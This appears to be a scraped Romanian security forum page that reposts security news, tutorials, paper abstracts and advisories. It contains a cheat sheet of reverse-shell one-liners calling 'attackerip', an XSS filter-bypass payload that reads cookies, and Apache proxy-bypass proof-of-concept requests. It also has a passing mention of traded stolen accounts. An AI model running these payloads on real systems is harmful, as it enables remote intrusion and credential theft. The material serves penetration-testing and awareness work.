Nytro

Defineste "hacking".

New Java Attack Rolled Into Exploit Kits A new exploit that takes advantage of a recently-patched critical security flaw in Java is making the rounds in the criminal underground. The exploit, which appears to work against all but the latest versions of Java, is being slowly folded into automated attack tools. The exploit attacks a vulnerability that exists in Oracle Java SE JDK and JRE 7 and 6 Update 27 and earlier. If you are using Java 6 Update 29, or Java 7 Update 1, then you have the latest version that is patched against this and 19 other security threats. If you are using a vulnerable version of Java, it’s time to update. Not sure whether you have Java or what version you may be running? Check out this link, and then click the “Do I have Java?” link below the big red “Free Java Download” button. A few weeks back, researcher Michael ‘mihi’ Schierl outlined how one might exploit this particular Java flaw. Over the weekend, I stumbled on a discussion in an exclusive cybercrime forum about an exploit that appears to have been weaponized along the same lines as described by Schierl. Below is a recording of a video posted by one of the members that shows the attack in action. Video: http://www.youtube.com/watch?v=rvFKdK_3ysI Java exploits are notoriously successful when bundled into commercial exploit packs, software kits that can turn a hacked Web site into a virtual minefield for Web users who aren’t keeping up to date with the latest security patches. Users would need only to browse to a booby-trapped site with a version of Mozilla Firefox or Internet Explorer that is running anything older than the latest Java package, and the site could silently install malware (according to a miscreant selling access to the exploit, it does not run reliably against Google Chrome for some reason). Because Java is cross-platform, this attack could theoretically be used to infiltrate non-Windows systems, such as computers running Mac OS X (Apple issued its own update to fix this flaw and other Java bugs earlier this month). For now, though, I’ve only heard about it being used to target Windows PCs: It is slowly being incorporated into the BlackHole exploit kit, one of the most widely-deployed exploit packs on the market today. Reached via instant message, the hacker principally responsible for maintaining and selling BlackHole said the new Java exploit was being rolled out for free to existing license holders. For all others, the exploit can be had for a $4,000 price tag, in addition to the cost of a BlackHole license, which goes for $700 for three months, $1,000 for six months, or $1,500 per year. The author of BlackHole also sells his own hosted solution, in which customers can rent bulletproof servers with pre-installed copies of his kit for $200 a week, or $500 per month. I stand by my advice urging those who don’t need Java to junk it; most people who have it won’t miss it. For those who need Java for the occasional site or service, disconnecting it from the browser plugins and temporarily reconnecting when needed is one way to minimize issues with this powerful program. Leaving the Java plugin installed in a secondary browser that is only used for sites or services that require Java is another alternative. Sursa: http://krebsonsecurity.com/2011/11/new-java-attack-rolled-into-exploit-kits/ Deci faceti update la Java sau dezactivati.

Dos Attack On Window 7-[Metasploit] Description: ================================ Tutorial: Dos Attack on Window 7 Creator: Rahul Roshan Official Websites:Welcome To Team Nuts, hacknuts.com - hacknuts Resources and Information. Personal Website: href="http://www.rahulroshan.in" rel="nofollow">www.rahulroshan.in Email: rahulroshan96@gmail.com Blog: Rahul Roshan ================================ Video: http://www.securitytube.net/video/2520 http://www.youtube.com/watch?v=aZCL6yLr8yk Inca un videoclip care demonstreaza puterea Metasploit...

Deepsec 2011: Sms Fuzzing - Sim Toolkit Attack Description: Speaker: Bogdan Alecu Blog: http://blog.m-sec.net In this talk I show how to make a phone send an SMS message without the user’s consent and how to make the phone not to receive any message. The method used works on any phone, no matter if it’s a smartphone or not and also on any GSM/UMTS network. http://www.securitytube.net/video/2518 Felicitari Bogdan...

Dnsmasq For Easy LAN Name Services Monday, 28 November 2011 04:00 Carla Schroder When you want a good reliable and easy-to-configure LAN name server, try Dnsmasq. Dnsmasq does DHCP, DNS, DNS caching, and TFTP, so it's four servers in one. If you have no public servers it should meet all of your needs, and it's a great complement to an authoritative name server. In this tutorial we'll learn how to deliver all network configurations to our LAN hosts through DHCP. Prequisites All of your network hosts must have their own hostnames, and be configured to get their network configurations via DHCP (dynamic host configuration protocol.) If you have some machines with static IP addresses Dnsmasq can incorporate them as well, so there is no need to change them. You should have a correctly-configured network, and all hosts able to ping each other. A Bit of Terminology Let's review some basic terms so we know what the heck we're talking about. An authoritative name server is for publishing the addresses of public servers. If you have an Internet-facing server such as a Web site, mail server, or FTP server, then somewhere there is an authoritative server that advertises their IP addresses and names. This may be an authoritative DNS (domain name services) server on your premises, or managed by a third party like your Internet service provider or a hosting service. You can query any public server with the dig command to see how its name and IP address are matched up: $ dig +nocmd www.linux.com +noall +answer www.linux.com. 5276 IN A 140.211.169.7 www.linux.com. 5276 IN A 140.211.169.6 Think of an authoritative DNS server as the master address book for an Internet domain. This address book is copied to the world's root DNS servers, and then copied by countless other servers all over the Internet. It is a beautiful distributed system that provides speed and fault-tolerance. Keeping authoritative servers completely separate from the other types of name servers — recursive and caching — is a fundamental security practice. So you might use BIND, PowerDNS, or MaraDNS for your authoritative server, and Dnsmasq for private LAN name services and caching. A dns cache is a local copy of the addresses of sites you have visited. This speeds up your network performance because network applications don't have to wait for DNS queries to be answered by remote servers. A recursive name server is the one that looks up the address of sites you want to visit. Recursive and cache functions are often combined in the same server. For example, when you configure the DNS for your Internet account, your ISP's DNS servers are most likely recursive and caching servers. Public DNS servers like Google Public DNS and OpenDNS are recursive and caching servers. Sometimes you get can speed up your Internetworking by using different third-party servers; try Namebench to help you find the fastest ones. Dnsmasq is not a recursive name server, but it can be configured to query any recursive server you want. Trivial File Transfer Protocol (TFTP) is a very simple, insecure FTP server used inside private networks for network booting of PCs and embedded devices like routers and VoIP (voice over IP) endpoints. Global Settings Dnsmasq is configured in /etc/dnsmasq.conf. I recommend copying the original to keep as a reference, and start over with a blank file. Every time you make a change to dnsmasq.conf you have to restart Dnsmasq. In these here modern times there are multiple ways to do this, hurrah, though running /etc/init.d/dnsmasq restart still works on most distros. For this article let's assume a small network with two subnets: one wired and one wireless, at 192.168.1.0 and 192.168.2.0. Dnsmasq is installed on a LAN router with both wired and wireless interfaces at 192.168.1.10 and 192.168.2.10. First let's take care of some important global settings: #/etc/dnsmasq.conf domain-needed bogus-priv domain=mydomain.net expand-hosts local=/mydomain.net/ listen-address=127.0.0.1 listen-address=192.168.1.10 listen-address=192.168.2.10 bind-interfaces Adding domain-needed blocks incomplete requests from leaving your network, such as google instead of google.com. bogus-priv prevents non-routable private addresses from being forwarded out of your network. Using these is simply good netizenship. Set your private domain name with domain=mydomain.net, replacing mydomain with any domain name your heart desires. You don't need to register it with a domain name registrar because it's private and never leaves your LAN. The expand-hosts directive adds the domain name to your hostnames, so you get fully-qualified domain names like hostname.mydomain.net. Again, these are completely arbitrary and can be whatever you want. local=/mydomain.net/ ensures that queries for your private domain are only answered by Dnsmasq, from /etc/hosts or DHCP. The listen-address directive tells Dnsmasq which interface or interfaces to listen on. Always use listen-address because you don't want Dnsmasq exposed to the wrong networks, and especially not the Internet. Always include the loopback address. You could use the interface= directive instead, for example interface=eth0, but the Linux kernel doesn't always bring up network interfaces with the same names after reboot. If you have more than one NIC the names could get changed, and then your name services will be messed up. The bind-interfaces directive ensures that Dnsmasq will listen only to the addresses specificied with listen-address. Configuring DHCP Now let's set up DHCP for our two subnets. This is so easy you will dance for joy: dhcp-range=lan,192.168.1.100,192.168.1.200 dhcp-range=wifi,192.168.2.100,192.168.2.200 I like to reserve addresses below .100 for servers. This example supplies a hundred DHCP addresses per subnet. Note that they are labeled with the tags lan and wifi. This is a brilliantly simple system that simplifies delivering different services to different subnets, as in the following examples: #set default gateway dhcp-option=lan,3,192.168.1.50 dhcp-option=wifi,3,192.168.2.50 #set DNS server dhcp-option=lan,6,192.168.1.10 dhcp-option=wifi,6,192.168.2.10 The first stanza sets the default route for each subnet. The number 3 tag means router. You can see all the tag numbers with the dnsmasq --help dhcp command. The second stanza tells our LAN clients to get their DNS from the Dnsmasq server. Upstream Name Servers You need to tell Dnsmasq where to forward Internet DNS requests. This could be your ISP's nameservers, or any DNS service you want to use. It is good to use at least two completely different services. This example uses Google Public DNS and OpenDNS: server=8.8.8.8 server=8.8.4.4 server=208.67.220.220 Static IP Addresses Dnsmasq painlessly incorporates hosts with static IP addresses into your local DNS. Suppose you have three servers with static addresses; all you do is add them to the /etc/hosts file on the Dnsmasq server: 127.0.0.1 localhost 192.168.1.15 server1 192.168.1.16 server2 192.168.1.17 server3 Always include the localhost line. TFTP Server You can enable Dnsmasq's built-in TFTP server by adding this line to dnsmasq.conf: dhcp-boot=pxelinux.0 And then you'll need to set up your boot directory and pxelinux configuration, which is a subject for another day. If you already have a working TFTP/pxelinux server, then point Dnsmasq to it like this, using your own server name and address: dhcp-boot=pxelinux,servername,192.168.1.25 Once again we have run out of paper and it is time to end. Please visit Dnsmasq to learn more about this excellent server. Sursa: https://www.linux.com/learn/tutorials/516220:dnsmasq-for-easy-lan-name-services

R2D2 – Forget the jargon, it’s a wiretap November 28th, 2011 Lyle Frink A short time ago in a galaxy very close by, the German Police and their R2D2 Trojan gave us a simple reminder of what modern malware is all about. It’s wiretapping. Technical buzzwords usually leave me more puzzled than enlightened. How many of these terms can you identify: backdoor Trojan with mfc42ul.dll, winsys32.sys key logger, Speex codec, full registry access, CJPEG, or acrd~tmp~.exe for a hidden executed application. Did I lose you? Just think wiretapping in the digital age. Recently, the German Police had their R2D2 outed by the Chaos Computer Club. It seems that after the Police loaded their R2D2 Trojan onto a suspect’s computer, the defenders of law and order could do the following: Listen in on voice and messaging applications (Skype, MSN Messenger, Yahoo Messenger, ICQ, PalTalk..) Take notes by logging keystrokes in browsers (Firefox, Opera, Internet Explorer, SeaMonkey..) Get pictures (JPEG screenshots of users’ screens and video calls) Go through the records with full file system and registry access Fine-tune surveillance by secretly downloading, installing, and executing other applications Turn on the microphone and start recording While the technical features are confusing to the non-geek, R2D2 is just a high-tech wiretap with the cool addition of a Blue Screen of Death (BSOD) trigger. There are only two exceptional aspects to the R2D2 malware: It is supposedly legal (a hot debate topic in Germany) The German government paid two million Euro for it (rather pricy) But, the real lesson is this: bad guys use a similar bag of tricks – and they are trying to do this on your computer. Their goals are to make money, and they do this by stealing private account data. The technical specs change often. Did I say sloppy police work? Yes indeed. While the Germans may have paid Top Euro for R2D2, they could have gotten more for their money according to Milos Schrotter, analyst at the AVAST Virus Lab: Data encrypted in AES (ECB) with a fixed key across all versions – not so good. No authentication built in, so it’s easy to spoof. Data sent to a command-and-control server in the U.S., which is almost certainly against German law. Code permitting the controller to install additional software onto the target machine is not authenticated, so it would be easy to fool the Trojan into installing anything Application code structure is very simple without any type of self-protection against a reverse or hacking attack. So just remember, there is always room for improvement. And, when you are on your computer, you are not as alone as you might think. PS: The Trojan is called R2D2 because of the “C3PO-r2d2-POE” string inside the binary file. Sursa: https://blog.avast.com/2011/11/28/r2d2-–-forget-the-jargon-it’s-a-wiretap/

Profense Web Application Firewall Easy, affordable, web application firewall that installs in minutes on your favorite hardware or virtual platform With installation taking less than an hour, the Profense web application firewall software quickly and easily turns most standard x86-64 compatible hardware (typically a server) or virtual machines (like VMWare) into powerful, standalone web application firewalls allowing you to affordably join the thousands of others who trust Profense to protect their web sites, web applications, web services and data. Profense’s integrated load balancing, caching and compression ensures the best possible experience for your visitors. In addition to all standard Features, Profense offers: Performance scales with the hardware platform Double byte languages such as Japanese, Chinese and Korean supported. PCI DSS 6.6 and OWASP Top Ten protection Out-of-the-box protection with auto learning XML, JSON and SOAP services support Session validation and CSRF protection Data leak prevention and log data masking Load balancing with session persistence SSL Client Authentication, Authorization, and Certificate Forwarding HTTP request throttling and connection limiting network level blocking (optional) Concurrency beyond 100,000 connections 18,750+ HTTPS req/sec on $1K hardware Only $2995 including one year of support and upgrades. Free trial: http://www.armorlogic.com/try-web-application-firewall-for-free.html Only $2995????? Sursa: http://www.armorlogic.com/web-application-firewall.html

Linux 3.2-rc3 - just in time for Thanksgiving From Linus Torvalds <> Date Wed, 23 Nov 2011 20:58:42 -0800 Subject Linux 3.2-rc3 - just in time for Thanksgiving Hey, since most of the US will be in a food-induced coma tomorrow, I just *know* that doing a new release candidate is a good idea. One quarter arch updates, two quarters drivers, and one quarter random changes. Shake vigorously and serve cold.. And maybe the rest of the world can try to make up for the lack of any expected US participation? Hmm? Anyway, whether you will be stuffing yourself with turkey tomorrow or not, there's a new -rc out. I'd love to say that things have been calming down, and that the number of commits just keep shrinking, but I'd be lying. -rc3 is actually bigger than -rc2, mainly due to a network update (none in -rc2) and with Greg doing his normal usb/driver-core/tty/staging thing. We also had a drm update. That said, most of the commits are pretty small and reasonable. So there's certainly more churn than I'd like, but it's not like it's a lot of big changes, there's just a fair number of small things going on. The shortlog (appended) gives a fair flavor of the details. Linus Sursa si changelog: https://lkml.org/lkml/2011/11/23/578

Reverse shells one-liners Wednesday, 14 September 2011 Inspired by the great blog post by pentestmonkey.net, I put together the following extra methods and alternatives for some methods explained in the cheat sheet. There is nothing cutting edge, however you may find this handy during your penetration tests. Citing pentestmonkey's blog post: If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell. [...] your next step is likely to be either throwing back a reverse shell or binding a shell to a TCP port. Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared. First of all, on your machine, set up a listener, where attackerip is your IP address and 4444 is an arbitrary TCP port unfiltered by the target's firewall: attacker$ nc -l -v attackerip 4444 Bash Alternatives for Bash shell: exec /bin/bash 0&0 2>&0 Or: 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 Or: exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done See also Reverse Shell With Bash from GNUCITIZEN blog. Perl Shorter Perl reverse shell that does not depend on /bin/sh: perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' If the target system is running Windows use the following one-liner: perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' Ruby Longer Ruby reverse shell that does not depend on /bin/sh: ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' If the target system is running Windows use the following one-liner: ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' Netcat Others possible Netcat reverse shells, depending on the Netcat version and compilation flags: nc -c /bin/sh attackerip 4444 Or: /bin/sh | nc attackerip 4444 Or: rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p See also 7 Linux Shells Using Built-in Tools from LaNMaSteR53 blog. Telnet Of course, you can also use Telnet as an alternative for Netcat: rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p Or: telnet attackerip 4444 | /bin/bash | telnet attackerip 4445 # Remember to listen on your machine also on port 4445/tcp xterm Follows further details on xterm reverse shell: To catch incoming xterm, start an open X Server on your system (:1 - which listens on TCP port 6001). One way to do this is with Xnest: Xnest :1 Then remember to authorise on your system the target IP to connect to you: xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest xhost +targetip # Run this INSIDE the spawned xterm on the open X Server Then on the target, assuming that xterm is installed, connect back to the open X Server on your system: xterm -display attackerip:1 Or: $ DISPLAY=attackerip:0 xterm It will try to connect back to you, attackerip, on TCP port 6001. Note that on Solaris xterm path is usually not within the PATH environment variable, you need to specify its filepath: /usr/openwin/bin/xterm -display attackerip:1 Posted by Bernardo at 08:58 Sursa: http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html

Apache HTTP Server Reverse Proxy/Rewrite URL Validation Issue Posted by Prutha Parikh on Nov 23, 2011 11:00:43 AM Today Apache acknowledged another reverse proxy issue (CVE-2011-4317) which I discovered while creating a QualysGuard vulnerability signature for an older problem CVE-2011-3368. Depending on the reverse proxy configuration, the vulnerability could allow access to internal systems from the Internet. While reviewing the patch for the older issue CVE-2011-3368, it appeared that it was still possible to make use of a crafted request that could exploit a fully patched Apache Web Server (Apache 2.2.21 with CVE-2011-3368 patch applied) to allow access to internal systems if the reverse proxy rules are configured incorrectly. I submitted an advisory and proof of concept to Apache and Apache made the issue public today. For a good description of the older CVE-2011-3368 issue as well as how a reverse proxy works please check the excellent blog post by Context. Here is a description of the new issue CVE-2011-4317 and its proof of concept. Apache's patch for CVE-2011-3368 The patch for CVE-2011-3368 (see Figure 1) is straight forward and self explanatory. The “server/protocol.c” file was modified. The patch looks at the request being sent and returns a HTTP 400 Response (Bad Request) if the URL does not begin with a forward slash “/”. --- httpd-2.2.21/server/protocol.c +++ httpd-2.2.21/server/protocol.c @@ -640,6 +640,25 @@ ap_parse_uri(r, uri); + /* RFC 2616: + * Request-URI = "*" | absoluteURI | abs_path | authority + * + * authority is a special case for CONNECT. If the request is not + * using CONNECT, and the parsed URI does not have scheme, and + * it does not begin with '/', and it is not '*', then, fail + * and give a 400 response. */ + if (r->method_number != M_CONNECT + && !r->parsed_uri.scheme <-- A + && uri[0] != '/' + && !(uri[0] == '*' && uri[1] == '\0')) { + ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, + "invalid request-URI %s", uri); + r->args = NULL; + r->hostname = NULL; + r->status = HTTP_BAD_REQUEST; + r->uri = apr_pstrdup(r->pool, uri); + } + if (ll[0]) { r->assbackwards = 0; pro = ll; This part of the code takes care of the issue for CVE-2011-3368. However; if you carefully look at the patch, it does not process URIs that have a scheme (see Figure 1, A). So, if a malformed URL request with a scheme was constructed, it would still be possible to bypass security and gain access to systems on the internal server provided that the reverse proxy rules were incorrectly configured. Proof of Concepts Target: Fully patched Apache Web Server (Version 2.2.21) with CVE-2011-3368 patch applied, with a reverse proxy set up and incorrectly configured RewriteRule/ProxyPassMatch rules. Rewrite rules in httpd.conf: RewriteRule ^(.*) http://10.40.2.159$1 ProxyPassMatch ^(.*) http://10.40.2.159$1 Example 1: GET @localhost::<PORT> HTTP/1.0\r\n\r\n where <PORT> is any port number being requested. To demonstrate the proof of concept, Tomcat was set up to run on port 8880 on the internal server. Please note that any application could be running on any port on the internal server and a malicious user could use the PoC to request access to an application running on that port. Access to internal web server can be possible by using a crafted request like: GET @localhost::8880 HTTP/1.0\r\n\r\n The screenshot below shows that a basic query with the crafted request (see Figure 2, to the target results in access to the page at 8880 (see Figure 2, C). Upon receiving the request, Apache translates the URL by applying the rewrite rules. The "uri" extracted is ":8880" which gets appended, resulting in the URL http://10.40.2.159:8880 The "uri" extracted in this case is everything following the first occurrence of the colon ( in the request. Since the crafted request has 2 colons (:, the second colon is treated as being part of the URI. To view the URI being extracted based on the rewrite rules, “RewriteLogLevel” was set to 3 in Apache configuration file. The rewrite translation logs get written to the log file. The first step to come up with the crafted request was to review the log file by sending different requests and studying how the rewrite translation was working. In the case of Example 1, since everything following the first colon ( was being treated as the URI, a second colon was appended with a port number to see the response. The server treated the second “:” as being part of the URI and since there was an application already running on the port, it was possible to gain access to the page. Example 2: GET <random_string>:@<internalservername> HTTP/1.0\r\n\r\n where <random_string> is any string, <internalservername> is the domain of an internal server being requested. Access to internal web server can be possible by using a crafted request like: GET qualys:@qqq.qq.qualys.com HTTP/1.0\r\n\r\n The screenshot below shows that a basic query with the crafted request to an internal website (see Figure 3, D) allows access to the page remotely (see Figure 3, E). Upon receiving the request, Apache translates the URL by applying the rewrite rules. The "uri" extracted is "@qqq.qq.qualys.com" which gets appended, resulting in the URL http://10.40.2.159@qqq.qq.qualys.com The "uri" extracted in this case is everything following the first occurrence of the colon ( in the request. This is treated as <username>@<host> giving access to the internal <host> if no authentication is required. Workaround RewriteRule ^(.*) http://10.40.2.159/$1 ProxyPassMatch ^(.*) http://10.40.2.159/$1 Sursa: https://community.qualys.com/blogs/securitylabs/2011/11/23/apache-reverse-proxy-bypass-issue

NoScript 2.2 XSS Filter Bypass // NoScript 2.2 XSS Filter Bypass (fixed with 2.2.1rc1 and 2.2.1rc2 literally minutes after reporting) // URL test.php?xss=<a href="javascript%26colon;'%26percnt;3cscript%26percnt;3ealert%26lpar;document.cookie%26rpar;%26percnt; 3c/script%26percnt;3e'">CLICKME // Result <a href="javascript&colon;'&percnt;3cscript&percnt;3ealert&lpar;document.cookie&rpar;&percnt;3c/script&percnt;3e'">CLICKME // After click javascript:'<script>alert(document.cookie)</script>' // JS URI runs in context of the referrer - cookie access (and more) is possible Author: I don't know... Sursa: http://pastebin.com/raw.php?i=W1q6BciY

Am reparat. Da, e foarte detaliat si bine organizat.

Reverse Engineering of the Android File System Sven Schmitt, Michael Spreitzenbarth, Christian Zimmermann Security Research Group Dept. of Computer Science, University of Erlangen, Germany www1.informatik.uni-erlangen.de Abstract—YAFFS2 is a file system which is used in many modern smartphones. Allthough YAFFS2 is an open standard and there exists an open source implementation, the behavior of YAFFS2 is not very well understood. Additionally, several aspects like wear-leveling and garbagecollection are not well-specified in the standard so that their actual behavior has to be reverse engineered from the implementation. Here, we give an introduction to and describe the basic functionality of YAFFS2. We place a particular focus on the detailed analysis of both wearleveling and garbage-collection mechanisms, since these are important within a forensic analysis of the file system. Index Terms—smartphones; forensics; Android; YAFFS2, garbage-collection Download: http://www.opus.ub.uni-erlangen.de/opus/volltexte/2011/2833/pdf/CS_2011_06.pdf

Conturi Filelist, SMTP, RDP-uri, FTP, certificate, poze (si cu mine una ) si altele. Interesant. Pacat ca "udp.pl", asta e trist...

Vezi Selenity CMS, tot in aceasta categorie. Pe asta nici nu stiu daca il mai am.

Ban permanent.

Am pus o mica descriere la tutorial, am editat postul.

Oricum e util, nu m-as fi gandit la asta desi e banal. Thanks.

Eu va recomand asta: http://www.googleguide.com/advanced_operators.html Si asta: http://www.exploit-db.com/google-dorks/

BlackHat USA 2010: Bursztein - Bad Memories 1 Introduction 2 Breaking into a WPA network with a Webpage 2.1 Dealing with Browser Behavior 2.2 Finding the router 2.3 Fingerprinting the router 2.4 Login to the router 2.5 Stealing WIFI information 2.6 Geolocalization 3 Defeating HTTPS via cache injection 3.1 How cache injection works 3.2 Why cache injection are dangerous 3.3 Exploiting Browser UI Inconsistency 4 Attacking Facebook with Frame leak attack 18 5 Phone TapJacking 20 5.1 TapJacking Safari on Iphone 5.2 Other mobile browsers 6 Related Work 7 Conclusion Bad memories summarize our latest research results on offensive web technologies. The Security Lab is a part of the Computer Science Department at Stanford University. Research projects in the group focus on various aspects of network and computer security. While secure communication protocols have received a lot of attention and have been widely deployed over the last few years, the way their sensitive data is stored remains a weak link in practice. The purpose of this paper is to raise awareness of this fact and demonstrate that attackers can make such secure communication protocols irrelevant by targeting the data storage mechanism. In this paper, we demonstrate the weakness of current storage mechanisms by showing the following attacks: first, we show how an attacker can remotely locate and break into a Wifi network by crafting a malicious web page that targets its access point. Secondly, we demonstrate how an attacker can inject a malicious library that is capable of compromising subsequent SSL sessions by leveraging the fact that websites trust external javascript libraries, such as Google Analytics. We then describe how to easily fool the user into accepting this malicious javascript library by exploiting browser UI corner cases. Next, we introduce frame leak attacks that are capable of extracting private information from the website (and not from the user) by leveraging the recent scrolling technique of Stone. Our frame leak attacks defeat click-jacking defenses that have previously been considered secure. In addition, we illustrate how a frame leak attack works by demonstrating how to use it to extract Facebook profile information, bypassing Facebook’s framebusting defenses in the process. Finally, we develop a new attack called tap-jacking that uses features of mobile browsers to implement a strong clickjacking attack on phones. We show that tap-jacking on a phone is more powerful than traditional clickjacking attacks on desktop browsers, and thus imply smartphones should not be considered a secure form of data storage. Download: https://media.blackhat.com/bh-us-10/whitepapers/Bursztein_Gourdin_Rydstedt/BlackHat-USA-2010-Bursztein-Bad-Memories-wp.pdf

XCS: Cross Channel Scripting and its Impact on Web Applications Hristo Bojinov Stanford University hristo @ cs.stanford.edu Elie Bursztein Stanford University elie @ cs.stanford.edu Dan Boneh Stanford University dabo @ cs.stanford.edu ABSTRACT We study the security of embedded web servers used in con- sumer electronic devices, such as security cameras and photo frames, and for IT infrastructure, such as wireless access points and lights-out management systems. All the devices we examine turn out to be vulnerable to a variety of web attacks, including cross site scripting (XSS) and cross site request forgery (CSRF). In addition, we show that consumer electronics are particularly vulnerable to a nasty form of persistent XSS where a non-web channel such as NFS or SNMP is used to inject a malicious script. This script is later used to attack an unsuspecting user who connects to the device's web server. We refer to web attacks which are mounted through a non-web channel as cross channel script- ing (XCS). We propose a client-side defense against certain XCS which we implement as a browser extension. 1. INTRODUCTION Current consumer electronic devices often ship with an embedded web server used for system management. The benets of providing a web-based user interface are twofold: rst, the user does not need to learn a complicated command- line language, and second, the vendor does not need to ship client-side software. Instead the user interacts with the de- vice through a familiar browser UI. While this is a cost-eective and convenient solution, it can introduce considerable security risk due to the large number of potential vulnerabilities in a weak web applica- tion. Moreover, securing Web applications on a consumer electronics device can be difficult due to the large number of supported network protocols and the interactions between them. For example a user might upload a le to a network storage device by using the SMB protocol, manage its per- missions through the web interface, and eventually share it with his friends through FTP. In this complex environment, it is not surprising that many embedded devices are vulnerable to web attacks. In fact, all the 23 devices we evaluated [3] were vulnerable to several types of Web attacks, including cross site scripting (XSS) [6], cross site request forgeries (CSRF) [30, 2], and many others. Recall that in a type 1 (reected) cross site scripting at- tack, the user follows a malicious link to a victim site. A vulnerability in the site causes an attack script to be embed- ded into the resulting HTTP response. This script can then take over the page and perform arbitrary actions on behalf of the attacker. A type 2 XSS, called persistent XSS, en- ables the attacker to inject a malicious script into persistent storage at the victim site. When an unsuspecting user views a page that contains the script, the script can take over the page. For example, type 2 XSS can aect message boards; an attacker can post a message containing a script that is later executed by the browser of every user that happens to view the attacker's post. A recent example of such an attack is the XSS Twitter worm that struck in the middle of April 2009 [31]. Cross Channel Scripting attack. Many of the embedded devices we examined were vulnerable to a type of persistent XSS that we call cross channel scripting (XCS). In an XCS attack a non-web channel, such as SNMP or FTP, is used to inject a persistent XSS exploit which is activated when the user connects to the web interface. For exam- ple, several NAS devices we examined allow an attacker to upload a le with an almost arbitrary lename via SMB. The attacker takes advantage of this lack of restrictions and crafts a lename that contains a malicious script. When the NAS administrator views the NAS contents through the web interface, the device happily sends an HTTP response to the admin's browser containing a list of le names including the malicious lename, which is then interpreted as a script by the browser. The script executes on the admin's browser giv- ing the attacker full control of the admin session. In Sec. 3 we present the most interesting XCS attacks we discovered. We also founded a related class of attacks in which a web vulnerability is used to attack a non-web channel. We refer to this as a reverse XCS vulnerability. We give examples in Section 4. XCS and reverse XCS are more likely to aect embedded devices than traditional web sites because these devices of- ten provide a number of services (e.g. web, SNMP, NFS, P2P) which are cobbled together from generic components. The interaction between the components may not be com- pletely analyzed, leading to an XCS vulnerability. In con- trast, many Internet web sites only provide a web interface and hence are less likely to be aected by XCS. Interestingly, large web sites such as Facebook and Twitter, provide non- web cloud APIs for third party applications which present XCS opportunities, as discussed in Section 5. Detecting an XCS or reverse XCS vulnerability can be dif- cult because these attacks abuse the interaction between the web interface and an alternate communication chan- nel. Simply inspecting the web application code and the other service code is not enough to detect the vulnerability. The web application and the other service, such as an FTP server, can be completely secure in isolation and become vulnerable only when used in conjunction. Download: citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.149.9782&rep=rep1&type=pdf&rct=j&q=XCS%20paper&ei=RY_UTM2XIZC2sAOOxM2NCw&usg=AFQjCNFIjZGE0NFLqFsbij713Ii3dRYv-Q&sig2=xEE5GtB7lZOH-zNQ6VND-Q&cad=rja Mirror: http://www.multiupload.com/49EW25WAJV

DNS Cache Poisoning November 21st, 2011|By: deepanker DNS cache poisoning is a security compromise in which an attacker changes the resolver cache database entries of a DNS with some false information. The DNS server will then infect the user’s local resolver cache database with false information changed by the attacker. These lines may be difficult or little bit confusing to you, if you are not aware of DNS and Caching. Therefore, you have to know first, what is DNS and DNS cache? How DNS and DNS cache works? DNS or Domain Name Server and its working: Every website on the internet has a unique IP address which is the address of the website on the large network of computers. In earlier days of internet, Users can only access website with the help of IP addresses. So, they had to know the IP address of websites they wanted to access. But now internet has millions of websites and it’s sure you cannot remember IP address of websites. So, domain name is the solution of this problem. Each website has given a domain name and the DNS translates your request into the IP. Domain name sever is the computer server which has a database to store the domain name and its IP address. When you type a website address in address bar of the browser, it sends a request to DNS for the IP address of the website. DNS replies with the IP address and then our browser navigate us to the website. Figure 1: How DNS server works DNS Cache: As we know the DNS translates the domain name to its corresponding IP address and this translation takes only few seconds on server ends. But the number of requests on the DNS is too high as there are millions of DNS queries processing on DNS which can results slow communication between DNS and other computers. So, to resolve the problem of speed and to speed up this whole process, cache is used. The cache stores recent DNS queries result on local computers. This reduces number of repetitive queries to remote DNS. This local cache is known as resolver cache and serves requests much faster than original DNS serving and this local resolver cache also reduce loads on DNS. Therefore, each time when a computer requests for the IP address of a domain name, its local resolver DNS cache is searched first for the result. If the record is found in local resolver cache, computer has no need to communicate with DNS server otherwise request is sent to the DNS. Figure 2: How recent query requests are looked in Cache first How it works: The whole process of sending request and getting response can be divided into following steps: Step 1: When a user request for a website via web browser, the resolver checks the local resolver cache in the system’s memory to see if it contains the IP address entry for the domain. The entry would be there if it has been requested for the same since the last time it was powered on, and the Time to live has not been exceeded. Time to live attribute on cache record is used to expire the entry after some time. Suppose that the entry is found in local resolver cache, now it replies with the IP address. Step 2: If no entry has been found, the resolver sends a query to the internal DNS server for the IP. Step 3: When the DNS server receives the query, it first checks if it has entry for the domain which is requested. If it has, the server performs a lookup in its internal zone table. Suppose it gets in its record. Step 4: The IP address of the domain is returned to the system’s resolver. Step 5: The resolved domain name and IP address are placed into the resolver cache. The IP address is used to contact the website. When a request packet is sent to the DNS, it contains the domain name and a unique transaction ID. This unique transaction ID is the only part of data which is used to authenticate the valid source. When a system gets the response from the DNS, it checks for IP address, port number and unique transaction ID. If these are the same as it was expecting, the response it taken as authenticated. But on the internet, packets can be easily be spoofed and data values can be changed. How to see the client resolver cache of system: In windows follow these steps to see the local client resolver cache information stored on system Step 1: Go to start and run. Step 2: Type CMD and press Enter. It will open Command Prompt (one can also open command prompt by start All Programs > Accessories > Command Prompt) Step 3: Type ipconfig /displaydns (Ex: c:/> ipconfig /displaydns) It will give you a list of Windows IP configuration which includes entries preloaded from the local Hosts file, as well as any recently obtained resource records for name queries resolved by the system. 